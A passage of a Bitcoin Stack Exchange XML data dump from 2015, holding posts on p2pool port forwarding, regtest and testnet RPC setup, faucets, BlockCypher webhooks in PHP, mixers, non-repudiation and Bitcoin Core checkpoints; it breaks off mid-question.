  <row Id="39069" PostTypeId="1" CreationDate="2015-08-13T04:42:33.537" Score="1" ViewCount="790" Body="&lt;p&gt;I want my pool to be accessible from the public, i have forwarded port 9332 and 9333 on both udp/tcp, and its still not possible, and the system firewall is open for that, for example i cant access the pool stats through &lt;a href=&quot;http://external_WAN_IP:9332&quot; rel=&quot;nofollow&quot;&gt;http://external_WAN_IP:9332&lt;/a&gt; but i haven't yet tested using a miner and connect it to the pool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i have set up the pool according to the instructions here &lt;a href=&quot;http://p2pool.in&quot; rel=&quot;nofollow&quot;&gt;http://p2pool.in&lt;/a&gt; with the latest version 14.0&lt;/p&gt;&#xA;" OwnerUserId="27901" LastEditorUserId="2306" LastEditDate="2015-08-13T12:52:40.053" LastActivityDate="2015-08-13T12:52:40.053" Title="How do I make p2pool accessible from outside my network?" Tags="|mining-pools|p2pool|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="39070" PostTypeId="1" CreationDate="2015-08-13T05:18:36.150" Score="1" ViewCount="507" Body="&lt;p&gt;Bitcoin defines you need to sign the previous hash and the destination public key. By doing so, you assume that you transferred the money. That provides non-repudiation of the transaction to a given key pair.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;If you used bitcoin to buy &quot;guns&quot;, how can the court legally prove that you, a person, are the owner of the key that made the transaction?&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the key is not certified by a trustable third-party, you can't prove the association between the key and its owner. Am I correct?&lt;/p&gt;&#xA;" OwnerUserId="27903" LastActivityDate="2015-08-13T05:43:45.567" Title="Does bitcoin provide non-repudiation?" Tags="|privacy|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39071" PostTypeId="2" ParentId="39070" CreationDate="2015-08-13T05:43:45.567" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;If you used bitcoin to buy &quot;guns&quot;, how can the court legally prove that you, a person, are the owner of the key that made the transaction?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The Ross Ulbricht/DPR trial provides several examples of how you might prove that someone made a transaction:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Being the person who sells the product or service to them. For example, the &quot;hitman&quot; Ross hired to kill Curtis Green was actually an undercover agent.&lt;/li&gt;&#xA;&lt;li&gt;Grabbing the laptop used to make the transaction out of the hands of the guy who made it, and forensically analyzing it.&lt;/li&gt;&#xA;&lt;li&gt;Other ways, like having a confidential informant, (like Curtis Green) or getting them to plead guilty (like Carl Mark Force.)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-08-13T05:43:45.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39072" PostTypeId="2" ParentId="32138" CreationDate="2015-08-13T05:55:09.307" Score="4" Body="&lt;p&gt;Use it like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;account=&amp;quot;123abc&amp;quot;&#xA;bitcoin-cli -regtest setaccount $address $account&#xA;bitcoin-cli -regtest getbalance $account&#xA;10.0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="26456" LastEditorUserId="136384" LastEditDate="2022-10-02T11:35:29.817" LastActivityDate="2022-10-02T11:35:29.817" CommentCount="0" CommunityOwnedDate="2015-08-13T06:09:43.143" ContentLicense="CC BY-SA 4.0" />
  <row Id="39073" PostTypeId="1" CreationDate="2015-08-13T06:32:27.063" Score="1" ViewCount="1510" Body="&lt;p&gt;i used bitcoind with jsonrpc service. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;but i added &lt;code&gt;regtest=1&lt;/code&gt; in &lt;code&gt;bitcoin.conf&lt;/code&gt; at &lt;code&gt;.bitcoin&lt;/code&gt; folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;used:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;bitcoin-cli -regtest generate 101&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;bitcoin-cli -regtest getbalance&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;50.00000000&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;but I can't see the balance in php.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;$bitcoin-&gt;getbalance()&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;it doesn't show me the balance. it returns nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if I remove &lt;code&gt;regtest=1&lt;/code&gt; from &lt;code&gt;bitcoin.conf&lt;/code&gt; and start &lt;code&gt;bitcoind -daemon&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;$bitcoin-&gt;getbalance()&#xA;  it gives me the the real server balance.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;what is solution for this problem??? &lt;/p&gt;&#xA;" OwnerUserId="26456" LastEditorUserId="26456" LastEditDate="2015-08-13T06:47:42.343" LastActivityDate="2015-08-13T11:44:45.520" Title="how to use bitcoind jsonrpc for regtest or testnet server in php?" Tags="|bitcoind|bitcoin-core|testnet|regtest|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="39074" PostTypeId="2" ParentId="39073" CreationDate="2015-08-13T07:13:29.433" Score="3" Body="&lt;p&gt;Very likely you need to tell your PHP JSON RPC client to connect to the right port.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you start bitcoind &lt;strong&gt;without&lt;/strong&gt; &lt;code&gt;-regtest&lt;/code&gt; (= main net), it opens up the RPC server on port &lt;code&gt;8332&lt;/code&gt;.&#xA;If you use &lt;code&gt;-regtest&lt;/code&gt;, the port will be &lt;code&gt;18332&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't see what kind of PHP JSON RPC client you are using, but there must be a way to tell it should use port 18332.&lt;/p&gt;&#xA;" OwnerUserId="3697" LastEditorUserId="18196" LastEditDate="2015-08-13T11:44:45.520" LastActivityDate="2015-08-13T11:44:45.520" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="39075" PostTypeId="2" ParentId="39064" CreationDate="2015-08-13T07:28:42.563" Score="5" Body="&lt;p&gt;The inputs are chosen by the function &lt;code&gt;SelectCoins()&lt;/code&gt; in &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/0.11/src/wallet/wallet.cpp#L1801&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;CreateTransaction()&lt;/code&gt;&lt;/a&gt; and then &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/0.11/src/wallet/wallet.cpp#L1899&quot; rel=&quot;nofollow&quot;&gt;added one by one (without shuffling)&lt;/a&gt; to the transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The order is defined by the coin selection (&lt;code&gt;CWallet::SelectCoinsMinConf&lt;/code&gt;) which does a random shuffle of the potential useful inputs and a stochastic approximation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mind also that Bitcoin-Core's coin selection could be improved and there are several issues and improve proposals (&lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/4906&quot; rel=&quot;nofollow&quot;&gt;[1]&lt;/a&gt;, &lt;a href=&quot;https://github.com/bitcoin/bitcoin/issues/1643&quot; rel=&quot;nofollow&quot;&gt;[2]&lt;/a&gt;, &lt;a href=&quot;https://github.com/bitcoin/bitcoin/issues/3631&quot; rel=&quot;nofollow&quot;&gt;[3]&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="3697" LastEditorUserId="5406" LastEditDate="2015-08-13T10:26:18.623" LastActivityDate="2015-08-13T10:26:18.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39077" PostTypeId="1" CreationDate="2015-08-13T11:49:05.690" Score="1" ViewCount="1115" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I send &lt;code&gt;bitcoin regtest server&lt;/code&gt; BTC to other bitcoin address of same server. I sent 5 BTC but it shows 50 BTC of that account's associated address. It received 5 BTC.&lt;/p&gt;&#xA;&lt;p&gt;What's the problem with this account or address?&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I used &lt;a href=&quot;https://tpfaucet.appspot.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://tpfaucet.appspot.com/&lt;/a&gt; to get free BTC for regtest server address. I send BTC to many of my addresses but I didn't receive any amount on account associated addresses.&lt;/p&gt;&#xA;&lt;p&gt;What's the problem on this server or regtest bitcoin?&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="26456" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2015-08-13T12:48:05.770" Title="Trying to send Bitcoins from testnet to my regtest node" Tags="|bitcoind|bitcoin-core|testnet|regtest|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39078" PostTypeId="2" ParentId="39077" CreationDate="2015-08-13T12:07:34.407" Score="3" Body="&lt;p&gt;The &lt;code&gt;regtest&lt;/code&gt; system is completely isolated from &lt;code&gt;testnet&lt;/code&gt; and only exists on your local machine by default, you won't see the transaction from TPs faucet because it isn't on the same network. Blocks in your &lt;code&gt;regtest&lt;/code&gt; setup can be instantly created using &lt;code&gt;bitcoin-cli setgenerate true &amp;lt;number of blocks&amp;gt;&lt;/code&gt; each of which will bring into existence 50 BTC in your local wallet for testing with.&lt;/p&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-08-13T12:07:34.407" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="39079" PostTypeId="1" AcceptedAnswerId="39090" CreationDate="2015-08-13T15:41:04.100" Score="3" ViewCount="1601" Body="&lt;p&gt;I've been trying to get this to work for the past 3 days and I've all but given up on it. Basically, I've used requestb.in to monitor if any POST requests are going through; requestb.in always displays a response. However, I can't replicate this on my own website. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I simply can't find a way to read the body of the response that's getting called back to my server. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For reference, I'm using this sample provided by BlockCypher:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; require __DIR__ . '/../bootstrap.php';&#xA;&#xA;$webHook = new \BlockCypher\Api\WebHook();&#xA;$webHook-&amp;gt;setUrl(&quot;http://mysite.com/dev/data/index.php&quot;);&#xA;$webHook-&amp;gt;setEvent('unconfirmed-tx');&#xA;&#xA;/// For Sample Purposes Only.&#xA;$request = clone $webHook;&#xA;&#xA;$webHookClient = new \BlockCypher\Client\WebHookClient($apiContexts['BTC.main']);&#xA;&#xA;/// Create WebHook&#xA;try {&#xA;    $output = $webHookClient-&amp;gt;create($webHook);&#xA;} catch (Exception $ex) {&#xA;    ResultPrinter::printError(&quot;Created WebHook&quot;, &quot;WebHook&quot;, null, $request, $ex);&#xA;    exit(1);&#xA;}&#xA;&#xA;ResultPrinter::printResult(&quot;Created WebHook&quot;, &quot;WebHook&quot;, $output-&amp;gt;getId(), $request, $output);&#xA;&#xA;return $output;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I had tested the callback url using requestb.in: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://requestb.in/zphhv1zp?inspect&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've been going crazy testing everything I could find online, but nothing really helped me out. What should I be using to retrieve the POST data?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: this is the code that I've been testing most recently&#xA;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;html lang=&quot;en&quot;&amp;gt;&#xA;&amp;lt;head&amp;gt;&#xA;&amp;lt;/head&amp;gt;&#xA;&amp;lt;body&amp;gt;&#xA;    &amp;lt;?php&#xA;        $url = &quot;http://requestb.in/zphhv1zp&quot;;&#xA;        $ch = curl_init();&#xA;        curl_setopt($ch, CURLOPT_URL, $url);&#xA;        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);&#xA;        $data = curl_exec($ch);&#xA;        curl_close($ch);&#xA;        echo $data;&#xA;&#xA;        // $inputJSON = file_get_contents('');&#xA;        // $input = json_decode( $inputJSON, TRUE );&#xA;        // echo $input['hash'];&#xA;    ?&amp;gt;&#xA;&amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="27897" LastActivityDate="2015-08-19T17:14:59.923" Title="How to handle POST data sent from Blockcypher WebHook API" Tags="|blockchain|php|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="39080" PostTypeId="1" CreationDate="2015-08-13T20:31:11.340" Score="0" ViewCount="2023" Body="&lt;p&gt;So about 3hrs from now I made a transaction to a different wallet of mine and the money didnt come through in 20mins I checked the blockchain and the number of confirmations kept rising and its up to 13, why is that? How long it can take? &lt;/p&gt;&#xA;" OwnerUserId="27919" LastEditorUserId="44" LastEditDate="2015-08-14T15:29:33.043" LastActivityDate="2015-08-14T15:29:33.043" Title="Why hasn't my bitcoin transaction gone through?" Tags="|transactions|blockchain|confirmations|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="39081" PostTypeId="1" CreationDate="2015-08-14T01:54:33.387" Score="0" ViewCount="281" Body="&lt;p&gt;So this question was posed in 2011; I figure by now there may be slightly different factors at work, but mainly I ask if i can use a prepaid hotspot plan for 250mb to connect 4 sp20 mining rigs each clocking ~1.5 Terrhashes/sec.. I can get a higher bandwidth plan, but it's significantly more expensive and so I seek the input of you fine folk :)&lt;/p&gt;&#xA;" OwnerUserId="26831" LastEditorUserId="5406" LastEditDate="2016-03-15T14:50:42.120" LastActivityDate="2016-03-15T14:50:42.120" Title="Is 250mb/month enough bandwidth to support the internet needs of 4 mining rigs?" Tags="|mining-pools|network|stratum|bandwidth|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="39082" PostTypeId="2" ParentId="39067" CreationDate="2015-08-14T02:13:55.810" Score="3" Body="&lt;p&gt;You can restart p2pool at any time without losing your shares, because your shares are recorded in p2pool's share chain and permanently associated with your payout address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/P2Pool&quot; rel=&quot;nofollow&quot;&gt;From the wiki:&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Whenever a peer announces a new share found (new block in the P2Pool block chain), it is received by the other peers, and the other peers verify that this block contains payouts for all the previous miners who found a share (and announced it) that made it into the P2Pool share chain. This continues until some peer finds a block that has a difficulty that meets the Bitcoin network's difficulty target. This peer announces this block to the Bitcoin network and miners who have submitted shares for this block are paid in the generation transaction, proportionally to how many shares they have found in the last while.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Please note that this also means that you cannot change the payout address of the shares you've already found - you can only change the payout address for future shares. Additionally, this architecture means that you will be able to collect payouts from your previous shares without p2pool running at all!&lt;/p&gt;&#xA;" OwnerUserId="27232" LastActivityDate="2015-08-14T02:13:55.810" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39083" PostTypeId="1" CreationDate="2015-08-14T06:22:57.367" Score="1" ViewCount="1333" Body="&lt;p&gt;I have generate bitcoin address from &lt;code&gt;testnet server&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;but I can't get any btc in those address. &#xA;i tried many times and I failed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;can anyone explain me that is the reason? whay i can't get btc on those address. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;note: i used regtest server for same purpose and my rpcport is 18332(regtest and testnet)&lt;/p&gt;&#xA;" OwnerUserId="26456" LastActivityDate="2015-08-14T08:13:10.360" Title="testnet server won't get any btc from TP's TestNet Faucet. what is the reason?" Tags="|bitcoind|testnet|regtest|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39084" PostTypeId="1" CreationDate="2015-08-14T06:45:04.707" Score="1" ViewCount="490" Body="&lt;p&gt;I need to use bitcoin testnet3 server for testing via php.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;bitcoin.conf&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;rpcuser=bitcoinrpc&lt;/p&gt;&#xA;&lt;p&gt;rpcpassword=random string&lt;/p&gt;&#xA;&lt;p&gt;testnet=1&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;create JsonRpc object with easy bitcoin&lt;/strong&gt;:&lt;/p&gt;&#xA;&lt;p&gt;$bitcoin = new Bitcoin('bitcoinrpc', 'random string', 'localhost', 18332);&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;what is the solution for this? does rpc port is right for tesnet3 server?&lt;/p&gt;&#xA;" OwnerUserId="26456" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2015-08-14T06:45:04.707" Title="what is the bitcoin.conf for testnet3?" Tags="|bitcoind|testnet|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="39085" PostTypeId="2" ParentId="39083" CreationDate="2015-08-14T07:29:21.767" Score="2" Body="&lt;p&gt;I've just tested TP's faucet and it worked (green success text). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are you sending to a testnet address (begins with m, n, or 2)? I'm thinking you may be inadvertently using Mainnet or Regtest mode (beginning with 1 or 3). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ensure your Bitcoin.conf file has &lt;code&gt;testnet=1&lt;/code&gt; in it, or use the &lt;code&gt;-testnet&lt;/code&gt; flag on the command line. Also be certain your blockchain is fully synched (this will take many hours, unlike regtest mode)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go into BitcoinCore's client, and try &lt;code&gt;getnewaddress&lt;/code&gt; in the console (help &gt; console). Then copy/paste that address into the faucet, complete the CAPTCHA, and the coins will have been sent. You will need to have a completely synched blockchain before the coins will &quot;appear&quot;.&lt;/p&gt;&#xA;" OwnerUserId="9382" LastEditorUserId="9382" LastEditDate="2015-08-14T08:13:10.360" LastActivityDate="2015-08-14T08:13:10.360" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="39086" PostTypeId="1" CreationDate="2015-08-14T10:31:31.743" Score="0" ViewCount="234" Body="&lt;p&gt;I can't get confirmed BTC from &lt;code&gt;https://tpfaucet.appspot.com/&lt;/code&gt; server.&lt;/p&gt;&#xA;&lt;p&gt;Tried many address and can't get balance with confirmation. for that reason my testnet server balance is always &lt;code&gt;0.0&lt;/code&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;bitcoin.conf&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;rpcuser=bitcoinrpc&lt;/p&gt;&#xA;&lt;p&gt;rpcpassword=random string&lt;/p&gt;&#xA;&lt;p&gt;testnet=1&lt;/p&gt;&#xA;&lt;p&gt;address get by &lt;code&gt;getnewaddress&lt;/code&gt;:&lt;code&gt;myVwyA9ooffVDqvbRJC4Kmspu2rDJBacTk&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;i used &lt;code&gt;https://www.blocktrail.com/tBTC&lt;/code&gt; for know about my transaction and it's said it unconfirmed.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;For that reason I am not able to test my server purpose.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;what should I do now???&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="26456" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2015-08-14T10:53:45.787" Title="how to get confirmed balance for bitcoin testnet server?" Tags="|bitcoind|testnet|testing|" AnswerCount="0" CommentCount="2" ClosedDate="2015-08-14T10:38:34.580" ContentLicense="CC BY-SA 3.0" />
  <row Id="39087" PostTypeId="2" ParentId="39080" CreationDate="2015-08-14T13:31:12.623" Score="1" Body="&lt;p&gt;You've sent Bitcoins like so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;WALLET1 ==&amp;gt; mixer ==&amp;gt; WALLET2&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem here is that you can't be certain the middle part will work, be it for technical reasons, or more likely, they've been lost or &quot;lost&quot;. By nature, mixers are run for clientele operating in the &quot;very dark grey area&quot;. So it's extremely unlikely you've got any recourse, other than contacting their tech support. I'm sure you know all this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fundamentally, mixers in charge of your funds cannot be trusted. Theoretically, the only way I can see around this would be for a service to pre-mix the required amount, and then for you to withdraw it after you know it's safe, which would likely need to use BIP65 and/or BIP16, or perhaps a combination therein with message signing, to prove address ownership. I don't know there's any mixers like this, because quite frankly, I believe their profits come moreso from scamming or selectively scamming.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because mixers are out, your options are either CoinJoin or DarkWallet, but I have not got experience with either of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This probably isn't the answer you're looking for, but unfortunately this is where it stands. Good luck.&lt;/p&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2015-08-14T13:31:12.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39090" PostTypeId="2" ParentId="39079" CreationDate="2015-08-14T18:28:33.523" Score="1" Body="&lt;p&gt;Full disclosure: I'm &lt;a href=&quot;http://www.blockcypher.com/&quot; rel=&quot;nofollow&quot;&gt;BlockCypher's&lt;/a&gt; Developer Advocate. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not a PHP expert, but I know a number of our customers have had issues reading return data from PHP. This thread on Stack Overflow might help:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/8945879/how-to-get-body-of-a-post-in-php&quot;&gt;https://stackoverflow.com/questions/8945879/how-to-get-body-of-a-post-in-php&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="26887" LastActivityDate="2015-08-14T18:28:33.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39091" PostTypeId="1" AcceptedAnswerId="39094" CreationDate="2015-08-14T18:43:43.273" Score="0" ViewCount="318" Body="&lt;p&gt;I want to send money from real BRL to euro EUR. I live in Brazil.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I use bitcoins for that? And How would I make the bitcoins available for the person to spend in Euros?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerDisplayName="user26933" LastEditorUserId="51948" LastEditDate="2017-12-24T03:27:04.523" LastActivityDate="2017-12-24T03:27:04.523" Title="How to transfer bitcoins from one Currency to Another from Brazil" Tags="|buy-bitcoins|currencies|exchange-rate|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39094" PostTypeId="2" ParentId="39091" CreationDate="2015-08-14T22:23:42.593" Score="0" Body="&lt;p&gt;You both need to have bitcoin wallet and know each other BTC address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you both have both bank accounts in each country it makes easy.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Buy BTC in your country with BRL.&lt;/li&gt;&#xA;&lt;li&gt;Send BTC to the person living anywhere in the world. &lt;/li&gt;&#xA;&lt;li&gt;He can convert his bitcoin against EUR via lobalbitcoins, exchanges or ATM in some cities. &#xA;Converting bitcoin to EUR might not be easy. Exchanges will require verification documents. If he can contact persons or go to an bitcoin ATM machine, that will probably not require verification process.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="27935" LastActivityDate="2015-08-14T22:23:42.593" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="39095" PostTypeId="1" AcceptedAnswerId="39098" CreationDate="2015-08-15T03:17:56.823" Score="1" ViewCount="163" Body="&lt;p&gt;By Bitpay to pay only take 10 seconds to complete.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do they do it?&lt;/p&gt;&#xA;" OwnerUserId="27938" LastEditorUserId="2306" LastEditDate="2015-08-15T05:24:23.973" LastActivityDate="2015-08-15T07:26:24.320" Title="How do I detect a double-spend in real-time, like Bitpay?" Tags="|doublespend|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39096" PostTypeId="2" ParentId="22875" CreationDate="2015-08-15T04:34:07.707" Score="1" Body="&lt;p&gt;Yes, you can fund a brokerage account with Bitcoin, at least at &lt;a href=&quot;https://drivewealth.com&quot; rel=&quot;nofollow&quot;&gt;DriveWealth&lt;/a&gt;.&#xA;Disclaimer: I have not tried it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://help.drivewealth.com/customer/portal/articles/1519945-how-do-i-deposit-funds-&quot; rel=&quot;nofollow&quot;&gt;How do I deposit funds?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Last Updated: Aug 11, 2015 05:44PM EDT&#xA;  DriveWealth has multiple safe and secure ways to deposit funds into your Live Investing Account:&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Charge Cards - We accept Visa, Mastercard, Discover and American Express&#xA;Wire Transfer&#xA;Check &#xA;Dwolla - U.S. Only&#xA;TransferWise - For European Currencies&#xA;*BitPay*&#xA;China Union Pay&#xA;Safety Pay - Select Latin American and European countries&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://help.drivewealth.com/customer/portal/articles/1783946-how-do-i-deposit-funds-to-my-account-with-bitpay-&quot; rel=&quot;nofollow&quot;&gt;How do I deposit funds to my account with Bitpay?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;...&#xA;  Please Note: Bitpay deposits can take up to 3 business days. When the funds are deposited in your DriveWealth account, you will be notified via e-mail.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;There is a minimum $20 deposit. DriveWealth is not responsible for the Bitcoin exchange rates you receive.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="27940" LastActivityDate="2015-08-15T04:34:07.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39097" PostTypeId="1" CreationDate="2015-08-15T05:19:05.740" Score="4" ViewCount="602" Body="&lt;p&gt;The core Bitcoin client has a list checkpoints - blocks where it will only accept a particular block header. This means that if someone builds a blockchain with more work that does not include these checkpoints, Bitcoin Core will not accept it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are currently 13 checkpoints in Bitcoin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    checkpointData = (Checkpoints::CCheckpointData) {&#xA;        boost::assign::map_list_of&#xA;        ( 11111, uint256S(&quot;0x0000000069e244f73d78e8fd29ba2fd2ed618bd6fa2ee92559f542fdb26e7c1d&quot;))&#xA;        ( 33333, uint256S(&quot;0x000000002dd5588a74784eaa7ab0507a18ad16a236e7b1ce69f00d7ddfb5d0a6&quot;))&#xA;        ( 74000, uint256S(&quot;0x0000000000573993a3c9e41ce34471c079dcf5f52a0e824a81e7f953b8661a20&quot;))&#xA;        (105000, uint256S(&quot;0x00000000000291ce28027faea320c8d2b054b2e0fe44a773f3eefb151d6bdc97&quot;))&#xA;        (134444, uint256S(&quot;0x00000000000005b12ffd4cd315cd34ffd4a594f430ac814c91184a0d42d2b0fe&quot;))&#xA;        (168000, uint256S(&quot;0x000000000000099e61ea72015e79632f216fe6cb33d7899acb35b75c8303b763&quot;))&#xA;        (193000, uint256S(&quot;0x000000000000059f452a5f7340de6682a977387c17010ff6e6c3bd83ca8b1317&quot;))&#xA;        (210000, uint256S(&quot;0x000000000000048b95347e83192f69cf0366076336c639f9b7228e9ba171342e&quot;))&#xA;        (216116, uint256S(&quot;0x00000000000001b4f4b433e81ee46494af945cf96014816a4e2370f11b23df4e&quot;))&#xA;        (225430, uint256S(&quot;0x00000000000001c108384350f74090433e7fcf79a606b8e797f065b130575932&quot;))&#xA;        (250000, uint256S(&quot;0x000000000000003887df1f29024b06fc2200b55f8af8f35453d7be294df2d214&quot;))&#xA;        (279000, uint256S(&quot;0x0000000000000001ae8c72a0b0c301f67e3afca10e819efa9041e458e9bd7e40&quot;))&#xA;        (295000, uint256S(&quot;0x00000000000000004d9b4ef50f0f9d686fd69db2e03af35a100370c64632a983&quot;)),&#xA;        1397080064, // * UNIX timestamp of last checkpoint block&#xA;        36544669,   // * total number of transactions between genesis and last checkpoint&#xA;                    //   (the tx=... number in the SetBestChain debug.log lines)&#xA;        60000.0     // * estimated number of transactions per day after checkpoint&#xA;    };&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/src/chainparams.cpp#L120&quot; rel=&quot;nofollow&quot;&gt;Source.&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do other Bitcoin clients enforce these checkpoints? In particular, if someone 